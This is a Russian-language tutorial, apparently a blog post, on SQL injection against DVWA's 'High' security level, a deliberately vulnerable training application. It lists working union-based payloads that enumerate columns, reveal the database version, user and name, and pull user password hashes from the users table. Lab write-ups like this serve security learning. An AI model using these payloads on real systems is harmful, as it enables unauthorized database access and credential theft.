Найти в Дзене

#17 Уязвимость DVWA. SQL-Injection – Уровень High

Здравствуйте, дорогие друзья.
Продолжаем рассматривать уязвимости в приложении DVWA, и остановимся на SQL-инъекции уровня «High».
Выставляем настройки безопасности на высокие:
Отлично. Можем приступить к тестированию, и для начала проверим наличие данной уязвимости на страничке, а также посмотрим на пользователей, которые находятся в базе данных:

Здравствуйте, дорогие друзья.

Продолжаем рассматривать уязвимости в приложении DVWA, и остановимся на SQL-инъекции уровня «High».

Выставляем настройки безопасности на высокие:

-2

Отлично. Можем приступить к тестированию, и для начала проверим наличие данной уязвимости на страничке, а также посмотрим на пользователей, которые находятся в базе данных:

-3

Исходя из выведенных данных, мы приходим к выводу, что все корректно работает.

Теперь вставим какой-либо «id», плюс кавычку. Запись будет иметь вид: «id’»:

-4

Выводится ошибка, а это значит, что уязвимость существует.

Видоизменим SQL- выражение на: «1 order by 1 -- -»:

-5

Фактически ничего не изменилось, разве что выражение в поле «ID» добавились буквы и символы.

Такой же результат будет и со значением «ID» = 2. А вот с цифрой три мы будем иметь ту же ошибку:

-6

Можно вывести два значения «ID», выполнив выражение: «1’ union select 1,2 — -»:

-7

Мы можем также узнать больше информации по базе данных, в частности, версию ОС. Выражение примет вид: «1’ union select null, version() -- -»:

-8

Можно записать выражение, которое будет отображать наименование базы данных: «1’ union select user(),database() -- -»:

-9

Вариаций изменения SQL выражения довольно много. Поэтому можно поэкспериментировать самостоятельно.

В последнем запросе постараемся сделать вывод паролей пользователей из базы данных. Запрос будет выглядеть как: «1’ union select null, concat(first_name, 0x0a, password) from users #»:

-10

На этом все. Всем хорошего дня!